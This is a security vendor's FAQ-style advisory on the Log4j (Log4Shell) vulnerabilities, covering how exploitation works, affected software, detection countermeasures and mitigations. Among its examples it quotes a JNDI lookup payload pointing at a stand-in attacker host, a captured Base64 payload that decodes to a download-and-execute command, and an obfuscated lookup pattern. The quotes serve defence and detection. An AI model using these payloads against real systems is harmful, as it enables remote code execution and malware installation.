Last Updated: December 29, 2021
Introduction
On December 9, 2021, the Apache Software Foundation released Log4j 2.15.0 to resolve a critical remote code execution vulnerability (CVE-2021-44228, also known as Log4Shell) that affects versions 2.0-beta9 through 2.14.1. Log4j is a popular Java logging library incorporated into a wide range of Apache enterprise software. Since December 9, two further updates of the Log4j library were released. Version 2.16.0 addressed CVE-2021-45046, an information leak and remote code execution vulnerability, while version 2.17.0, released on December 18, addressed CVE-2021-45105, a vulnerability that could be exploited to create a denial-of-service attack.
Secureworks hosted a Log4j Vulnerability: Ask Secureworks Experts webinar on December 15 and you can watch the replay here. You can also read our blogs Log4j: What We've Learned So Far (December 15) Log4Shell: Easy to Launch the Attack but Hard to Stick the Landing? (December 17), and Log4j Threat Hunting Advice (December 22) .
Q. How serious are these vulnerabilities?
These are serious vulnerabilities because Log4j is such a widely used software library and in certain circumstances, CVE-2021-44228 and CVE-2021-45046 can be used for remote command execution. Threat actors who can control log messages or log message parameters could exploit vulnerable versions of Log4j to execute arbitrary code and gain full control of the affected server. There has been extensive reporting of threat actors attempting to exploit this vulnerability to deploy cryptominers and potentially other malware.
Q. How does exploitation of CVE-2021-44228 work?
The vulnerability affects how Log4j processes log messages. By sending specially crafted messages to a system that uses Log4j, a threat actor can cause the system to load external code, an action known as remote command execution.
In 2019, Veracode wrote a detailed blog that looked at some of the components involved with CVE-2021-44228. Exploitation of CVE-2021-44228 uses Java Naming and Directory Interface (JNDI), which is a Java API that allows clients to discover and look up data and objects via name. These objects can be stored by the threat actor in different naming or directory services, such as Remote Method Invocation (RMI), Lightweight Directory Access Protocol (LDAP), or Domain Name Service (DNS).
This is how an attack could potentially work:
- The threat actor submits a specially crafted string containing a malicious payload to a system that is vulnerable to CVE-2021-44228. This string could be via any field that the system logs, such as a User Agent string, referrer, username or email address, device name, or freetext input.
- The string, which might be something like ${jndi:ldap://attacker.com/a} - where atttacker.com is a threat actor-controlled LDAP server - is passed to Log4j for logging.
- The Log4j vulnerability is triggered by this payload and the vulnerable system uses JNDI to query the threat actor-controlled LDAP server.
- The threat actor-controlled LDAP server responds with information that includes a remote Java class file (e.g., hXXp://second-stage.attacker.com/Exploit.class).
- This Java class is deserialized (downloaded) and executed.
The Swiss CERT (GovCERT.ch) published a blog that provides a graphical view of this attack chain: Zero-Day Exploit Targeting Popular Java Library Log4j
Secureworks customer telemetry also shows attackers attempting to exploit the vulnerability by passing Base64-encoded commands to do things like download cryptocurrency miners. For example:
{jndi:ldap://<redacted_IP>:1389/Basic/Command/Base64/d2dldCBodHRwOi8vNjIuMjEwLjEzMC4yNTAvbGguc2g7Y2htb2QgK3ggbGguc2g7Li9s
This Base64 decodes to (defanged): wget hXXp://62.210.130[.]250/lh.sh;chmod +x lh.sh;./l
Q. What software is impacted?
There is potentially a wide range of impacted software. A comprehensive but inexhaustive list of advisories released by various vendors in response to this vulnerability is being maintained by a third-party researcher here. The Dutch National Cyber Security Centre is maintaining a comprehensive but probably inexhaustive list of impacted software here.
Q. Can Secureworks check my environment to identify affected systems?
Customers using Secureworks® Taegis™ VDR can use a detection deployed on December 12 that identifies vulnerable Log4j implementations by sending a request designed to trigger the vulnerability once potentially vulnerable assets are scanned. By default, VDR scans occur weekly, but customers can trigger a manual scan to gather results sooner than their next scheduled scan. To do so:
- Select all the potentially affected assets using a search query
- Click on the upper right "scan" icon within the product
Q. Was Secureworks impacted by these vulnerabilities?
Secureworks has mitigated against CVE-2021-44228, CVE-2021-45046 and CVE-2021-45105 and has not observed any malicious activity in the corporate network. Our on-premise products do not run Log4J and are not impacted by these vulnerabilities.
Taegis Engineering has verified that it did not have any Internet-facing systems nor any on-premise products vulnerable to these vulnerabilities. We are continuing to catalog and update a few internal systems using Java that are not exposed to the Internet.
Q. Are Taegis installations impacted?
Analysis conducted so far indicates that customer installations of the Taegis XDR Data Collector are not susceptible to these vulnerabilities. Secureworks is continuing to research and test the Log4j vulnerability and will continue to take indicated actions if new information emerges.
Q. Have Secureworks customers been exploited by the Log4j vulnerability?
While we have not seen a large volume of exploits among Secureworks customers, we have detected some activity. Those customers have been notified. We will continue monitoring for exploits and will continue to notify customers as needed. We have also provided some thoughts on why we are perhaps seeing less successful exploitation than we might have expected in our blog: Log4Shell: Easy to launch the attack but hard to stick the landing.
Q. Has Taegis observed malicious attacks attempting to exploit these vulnerabilities in the wild?
Yes, and we are publicly sharing the observed malicious IP addresses on our public github repository
The vast majority of Log4j-related events observed across the Taegis customer base reflect benign actions taken by research and operations teams around the world working to scan for vulnerable instances. We can say with confidence from observed data that the response to find and fix Log4j vulnerabilities is widespread.
However, some of the observed Log4j-related events exhibit characteristics that go beyond vulnerability scanning and exploratory research, and are indicative of malicious activity. For example, Log4j exploitation attempts observed in Taegis include encoded commands to download malicious initial access scripts, jumpstart crypto-miners, exfiltrate credentials found on the target, record confirmed vulnerable status for later exploitation, or initiate remote shells.
To aid in the collective defense of all of our networks, and in the spirit of responding to emergencies as a global security community, we are releasing IP addresses that exhibit malicious characteristics beyond the normal scanning and research traffic. Within our managed security teams, we are continually evaluating how and when to alert on activity associated with these IPs. In the vast majority of cases, we have not seen these attempts achieve successful remote code execution. Therefore, we have made the decision not to trigger an alert automatically in Taegis based on these IPs, but instead leverage them as part of our active threat hunting operations looking for any successful exploitation.
We have released this information on our public github repository and will continue to update or release information to aid the global collaboration to understand, detect, and disrupt active exploitation of the Log4j vulnerability.
Q. What countermeasures have been deployed to detect exploitation of this vulnerability?
The primary vector for exploitation of CVE-2021-44228, CVE-2021-45046 and CVE-2021-45105 is a public, remotely accessible service that uses Log4j to log user-controlled input. A threat actor can exploit this vulnerability by providing a specially crafted message to such an input, including HTTP headers (e.g., User-Agent, Authorization, Cookies, etc.), usernames, email addresses, and free text input. Secureworks has therefore deployed network intrusion detection / prevention countermeasures as a key detection method for exploitation of systems running vulnerable version of Log4j. These countermeasures detect suspect JNDI lookups across multiple services (LDAP, RMI, DNS, NIS, IIOP, CORBA), and successful exploitation and the delivery of second-stage payloads.
Crucially, a threat actor achieving remote code execution by exploiting this vulnerability then needs to execute additional commands or deploy additional tools. Secureworks has a very large number of network and endpoint countermeasures designed to detect this post-exploitation activity. Those activities may include:
- The deployment of cryptocurrency miners, ransomware, web shells, and post-exploitation frameworks including Cobalt Strike and Metasploit
- Suspect process launches, including suspect process launches from Java and Tomcat web servers
- The use of credential theft tools and techniques
- Lateral movement across the environment
- A wide variety of other malware-specific and behavioral countermeasures
Several other network and endpoint countermeasures to detect exploitation of these vulnerabilities are currently under research and development by Secureworks, including countermeasures that attempt to detect JNDI lookup obfuscation techniques. True positive, actionable alerts from countermeasures in this research state are manually escalated to clients.
The network signatures that have been deployed to all iSensors™ will automatically generate alerts or block traffic depending on the iSensor policy selected. These production network signatures include the signatures for successful exploitation and payload delivery.
Additional countermeasures have been deployed as production Taegis™ XDR event filters. These are a combination of converted Red Cloak™ watchlists, script block event filters, and iSensor signatures that have been converted to HTTP event filters. These event filters will also automatically generate alerts for all Taegis XDR customers.
Secureworks researchers have also deployed endpoint countermeasures that detect processes that feature suspect and obfuscated JNDI lookups in their command line. These endpoint countermeasures may detect threat actors attempting to perform laterally from one host within an environment to another host by exploiting an internal service vulnerable to CVE-2021-44228, CVE-2021-45046 and 45105.
Third-party devices receive updated protection as released from their respective vendors and deployed by Secureworks device management security teams.
Countermeasures will be continually added as information is learned across all Secureworks products.
Q. Will NGAV functionality within Taegis block this exploit?
No, however we would expect endpoint agents and NGAV to detect follow-on activity, such as malware, cryptominers, etc.
Q. The Log4j vulnerability root cause was supposedly reported 5 years ago at Black Hat. Is there any sense that this vector was used in the past?
We have not observed Log4j being exploited by threat actors in the past. On these specific vulnerabilities, it looks like the details of CVE-2021-44228 were disclosed to Apache around November 24, and we are unaware of any evidence that it was being exploited prior to that time.
Q. What is the background to CVE-2021-45046 and CVE-2021-45105? What should customers do?
On December 14, Apache pushed out updated version of Log4j 2.16. This was to address CVE-2021-45046, a remote code execution vulnerability affecting versions of Log4j including 2.15.0, the version that was released on December 9 to address CVE-2021-44228 (Log4Shell). On December 18, Log4j version 2.17.0 was released to address CVE-2021-45105, a vulnerability affecting Apache Log4j2 versions 2.0-alpha1 through 2.16.0 where an attacker with control over Thread Context Map (MDC) input data could craft malicious input data that contains a recursive lookup that would ultimately terminate the process and cause a denial-of-service (DOS).
Organizations should monitor the advice published to Apache’s official Log4j update page and patch to the latest version or, where this is not possible, follow Apache’s mitigation advice.
Q. What is the background to CVE-2021-44832? What should customers do?
On December 28, 2021, Log4j version 2.17.1 was released to address a newly discovered remote code execution vulnerability (CVE-2021-44832) impacting Log4j versions 2.0-beta7 through 2.17.0. CVE-2021-44832 requires that threat actor is able to modify the logging configuration file, which means that they already have the ability to perform actions on the target server. That makes this vulnerability significantly less severe than the original Log4Shell (CVE-2021-44228) vulnerability, which did not require the threat actor to have prior access to the target server. This important nuance is reflected in CVE-2021-44832's CVSS v3 score of 6.6, meaning it is rated moderate severity.
Version 2.17.1 is the latest in a number of Log4j updates released since CVE-2021-44228 was publicly disclosed on December 9. The most recent previous Log4j version, 2.17.0, was released on December 18 to address a recursive denial of service vulnerability (CVE-2021-45105) that was disclosed on December 16. It is not that surprising that multiple updates have been released in such a short space of time. Whenever software suddenly receives high levels of scrutiny, as the Log4j library has since December 9, increased examination of how the code performs can lead to additional vulnerabilities being discovered. This is the fifth Log4j vulnerability identified since December 9, but none have been as serious as the initial Log4Shell (CVE-2021-44228) vulnerability.
Organizations are nevertheless encouraged to continue to upgrade to the latest version of Log4j, or to upgrade third party applications that run Log4j in accordance with vendor instructions. Network countermeasures developed to identify exploitation of the original Log4Shell vulnerability will also detect exploitation of this most recent CVE.
Q. Are versions 1.x of Log4j affected?
Log4j 1.x does not offer a JNDI look-up mechanism at the message level, so it does not suffer from CVE-2021-44228
However, Log4j 1.x comes with "JMSAppender" which will perform a JNDI lookup if enabled in Log4j's configuration file, which is not the default configuration. A separate CVE (CVE-2021-4104) has been filed for this vulnerability. To mitigate: audit your logging configuration to ensure it has no JMSAppender configured.
Apache's official Log4j update page should be used as the authoritative source of information on the subject. Please note "Log4j 1.x has reached end of life and is no longer supported. Users should upgrade to Log4j 2 to obtain security fixes."
Q. Which JAR files are impacted by this vulnerability? Does this vulnerability impact log4net, log4cxx, or other Apache Logging Services projects?
Per the guidance by Apache, only the Log4j-core JAR file is impacted by CVE-2021-44228. Applications using only the log4j-api JAR file without the log4j-core JAR file are not impacted by the vulnerability.
Q. Can I/should I remove the vulnerable files from my systems?
Remediation of affected systems and applications has been in flux over the past few days. Customers should follow the latest guidance from Apache or your application vendor for the latest instructions.
Q. If a system that is vulnerable to Log4j cannot be patched at this time what mitigating actions can be taken?
There are a few steps organizations can take. Those that are comfortable making changes on the system but that cannot patch, should consider removing the JndiLookup.class by running the following command on impacted jar files: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class.
Organizations should also consider:
- Disabling lookups in the system by setting the system property log4j2.formatMsgNoLookups to true (for versions > 2.10); or
- Setting the environment variable LOG4J_FORMAT_MSG_NO_LOOKUPS to true (for versions > 2.10); or
- Disabling lookups in message strings like: %m{nolookups} in version < 2.10
It is worth noting that Apache no longer considers these to be comprehensive mitigation steps and is therefore no longer recommending them. That is because, while disabling lookups will provide protection from most of the common scanning happening now, there are still some attacks that could exploit these vulnerabilities due to the existence of other, non-lookup paths to the exploitable code in Log4j.
Organizations that are uncomfortable or unable to make changes on vulnerable systems (or are, but want to implement additional controls) should consider:
- Ensuring the traffic is going through an iSensor/WAF/IPS. This can prevent the attack from reaching the system.
- Reducing the amount of traffic that can hit the vulnerable system. If the system doesn't need to be on the internet, firewall it off to necessary and trusted IPS and ranges.
- Reducing the allowed outbound traffic for the host. This attack works by reaching out to a malicious server, so block any unnecessary IP addresses and Ports on a firewall.
- If the service isn't necessary, halting it until a patch is available.
Q. Outside of vulnerability scanning, how else can I find impacted systems?
Redefine the question. Focus on systems that are vulnerable and systems that are compromised. Finding systems will involve multiple steps, but we can break it down into 2 main parts. First, identify the systems that are vulnerable that could be exploited. Second, search for versions and indicators of compromise on those systems. For this to be successful, security teams should first focus their efforts on systems exposed directly to the Internet and then work their way inward. NOTE: A vulnerable system can potentially be exploited even if not public-facing if other, Internet-facing systems are forwarding their logs to that internal system.
To identify systems that are vulnerable, find the systems in your environment known to use (you can do this by looking at running processes and the start-up parameters of applications and seeing what versions are implemented or using a network scanner). Once you have identified potentially vulnerable systems, you can look at system/server logs for exploit scanning as well as server crashes. For example, Tomcat/Catalina may crash upon a successful exploit, leaving a gap in access log entries but showing a crash report and restart in the Catalina logs. Furthermore, look for the creation of new files, new processes, as well as new, outbound network connections (netstat), which can indicate a successful exploit.
Firewall and DNS logging can also play a role in finding impacted systems. Again, using IP addresses of the public-facing systems, look for newly created outbound sessions to suspicious addresses from those systems. Pay close attention to protocols and ports. DNS logging can also play a role when public-facing systems are requesting lookups of new FQDN's for IP addresses. For this to be effective, the DNS server would need to log the system making the request. If firewall or DNS logging is not available, netflow could also help fill the gaps here and may help identify some of those newly created outbound network sessions. Establish a baseline going back to approximately December 1, 2021. Pay attention to outbound connections from public-facing systems beginning around December 9th - 10th onward.
Network intrusion detection and full packet capture sensors can also provide a wealth of information to security teams in this situation. Intrusion detection system (IDS) vendors are supplying updated signatures and rules to detect the network traffic. With these added signatures, and possibly a little bit of tuning, the IDS sensors can monitor for the outbound connections made by public-facing systems. Please note, that network IDS does not decrypt network traffic; therefore, they can't inspect what they can't see.
Endpoint detection and response (EDR) tools will also play a large role in identifying impacted systems. While host-based EDR detection of the exploit might be problematic, detection of the post-exploit activities threat actors would use is not. These are widely documented, and many countermeasures have been developed to detect this type of activity. Even if EDR tools were not in place at the time of the incident, deploying them after the fact can give security teams a view into what is occurring on the system at that moment. This would also include running processes, along with their start-up parameters, and network connections.
Lastly, if these are systems/appliances or applications that are supported by a vendor, check for information from the vendor. Some applications or appliances are limited in what access is provided to customers. There may be updates that the vendor supplies to resolve this issue.
Q. What should customers do?
Secureworks recommends customers proactively check for systems running vulnerable versions of Log4j, prioritizing those with the greatest exposure, which is likely to be those that are internet-facing. Exploitation attempts will likely manifest in logs with a URL string that includes ${jdni:ldap://. Attackers may also obfuscate these URL patterns, for example using requests that contain strings such as {jndi:${lower:l}${lower:d}a${lower:p}. Systems should be upgraded to use the latest version of Log4j in accordance with Apache’s security advice
If systems cannot be patched, organizations should review Apache's mitigation advice, which is being regularly updated and can be found here
Additional mitigation measures could include:
- Creating separate VLANs to segregate systems that maintain operations but minimizes the impact should a system be compromised.
- Configuring network and host-based firewalls to significantly reduce outbound communications to only trusted systems. This is another way to keep systems functional while the risk is still present. To successfully exploit the vulnerability this outbound connection is required by an attacker to be able to inject a malicious payload into the communication.
If customers have not already done so, review what logs are being collected and centralize them into a SIEM for monitoring. Like with other systems, check if your SIEM is affected by Log4j and update as needed. If you believe or have evidence that your systems have been compromised, the Secureworks Incident Response team is available to help 24/7/365.
Q. Can you detect the exploit activity on the network if the traffic is via HTTPS rather than HTTP?
For network countermeasures across any IDS or IPS appliances to be effective, SSL termination is required to allow those controls to inspect the contents of SSL traffic (e.g. HTTPS).
Q. Can Red Cloak identify if a server is running Log4j?
Red Cloak cannot identify a comprehensive list of systems that are running software that uses the Log4j software library. The best way to identify vulnerable systems is through asset management tools and authenticated network scans using tools such as Taegis™ VDR. Organizations that do not have access to a network scanner and do not have comprehensive asset management resources can look for running processes and the start-up parameters of applications to see what versions of Log4j are implemented.
Q. Can Red Cloak detect exploitation of these vulnerabilities?
Due to the nature of this vulnerability, detecting successful exploitation using Red Cloak is challenging. Countermeasures deployed to the Red Cloak agent may detect attempts to move laterally from one system within the network to another using these vulnerabilities.
In considering this question, there are two important points to note:
- The exploitation vector for CVE-2021-44228 is over the network. Network detections are therefore the most effective way to detect this. Secureworks has deployed a number of iSensor and Taegis event filters to detect network activity associated with this threat.
- Crucially, a threat actor achieving remote code execution by exploiting this vulnerability then needs to execute additional commands or deploy additional tools. Secureworks has a very large number of endpoint and network countermeasures designed to detect this post-exploitation activity, to include:
- The deployment of cryptocurrency miners, ransomware, web shells, and post-exploitation frameworks including Cobalt Strike and Metasploit
- Suspect process launches, including suspect process launches from Java and Tomcat web servers
- The use of credential theft tools and techniques
- Lateral movement across the environment
- A wide variety of other malware-specific and behavioral countermeasures
Q. Are there any blacklisted IP feeds for this automatically being fed to the iSensors?
Indicators related to identified post-exploitation activity are being captured and, where appropriate, applied to iSensor. The network countermeasures that have been deployed to iSensors provide a blocking capability and will automatically generate alerts or block traffic depending on the iSensor policy selected.
IP addresses currently being used for scanning are not considered helpful, because they provide no indication as to whether successful exploitation has occurred and alerting on them risks masking more critical alerts. Indicator matches on inbound scanning activity will create high volume, low fidelity noise that may hamper customer response efforts.
Q. Are any known source IPs automatically blocked as part of the CTP platform?
The CTP does not perform a blocking function. Whether threat indicators are being blocked for CTP customers depends on the customer controls that Secureworks manages for them. Our primary blocking control is iSensor.
Q. Are threat indicators being pushed to customer-facing blocklists?
Indicators from identified post-exploitation activity are being captured and where appropriate applied to AttackerDB and subsequently applied to Taegis XDR and CTP. IP addresses currently being used for scanning are not considered helpful, because they provide no indication as to whether successful exploitation has occurred and alerting on them risks masking more critical alerts. Indicator matches on inbound scanning activity will create low fidelity noise that may hamper customer response efforts.
Q. Is Snare impacted by the Log4j vulnerability?
Snare's solutions are not vulnerable to the Log4j vulnerability, including Snare Agents.
The Snare Central log management and reporting system is also not vulnerable in its default configuration as it is not running any Java components by default. However, if a customer has enabled the Elasticsearch option used for the add-on Analytics application, then it could present a risk. Elasticsearch access is restricted by an authentication proxy and is not directly accessible from the network. The only direct access method is via an existing shell on the server or from the system console.
Please read Snare’s article on Log4j and Snare for more information, including suggested mitigation for Snare Central installs if Elasticsearch has been enabled (The Log4j Vulnerability and Snare). If you have any questions about Log4j and Snare, please contact their team at [email protected].
Q. What is Secureworks doing for Taegis XDR and ManagedXDR customers to identify compromise from the Log4j vulnerability?
Since this incident began, Secureworks has been monitoring our customer environments to identify scanning and exploitations of the Log4j vulnerabilities. Secureworks has conducted targeted threat hunts (and will continue to) through all collected data to identify customers with evidence of scanning, exploitation, and/or post-exploitation activity not currently detected through existing countermeasures. Customers with any exploitation activity have already been notified. Customers with any observed scanning activity (whether or not they are vulnerable) will soon see an investigation labeled "Log4Shell Post Exploitation Threat Hunt" within the Taegis portal showing these findings.
While we are seeing the Log4j vulnerability in some customer scans, we are seeing very little exploitation to date. We will continue to monitor customer environments 24x7 and will promptly issue notice to customers if suspicious behavior is detected.
Q. Are LogVault products impacted by this vulnerability?
LogVault products use software created by TIBCO Software Inc. called LogLogic. Secureworks manages LogVault devices but doesn't own the software made by TIBCO.
TIBCO’s approved plan for addressing log4shell was not released until December 16 and as such, Secureworks was unable to mitigate the issue without harming the service (such as halting the devices or applying fixes that could break the service).
On December 16, TIBCO announced that only version 6.3.1 of LogLogic was impacted. About a quarter of LogVaults were running this version. Secureworks built a fix for those systems based on TIBCO’s guidance.
Secureworks has deployed the fix to customer systems.
References
Log4j – Apache Log4j Security Vulnerabilities – Log4j security notice
NVD – CVE-2021-44228 - CVE-2021-44228 NVD notice
BlueTeam CheatSheet * Log4Shell* | Last updated: 2021-12-19 2222 UTC - Various statements by potentially impacted vendors
log4j-analysis/taegis-log4j-ip-analysis.tsv at main · secureworks/log4j-analysis - IP addresses observed in Taegis telemetry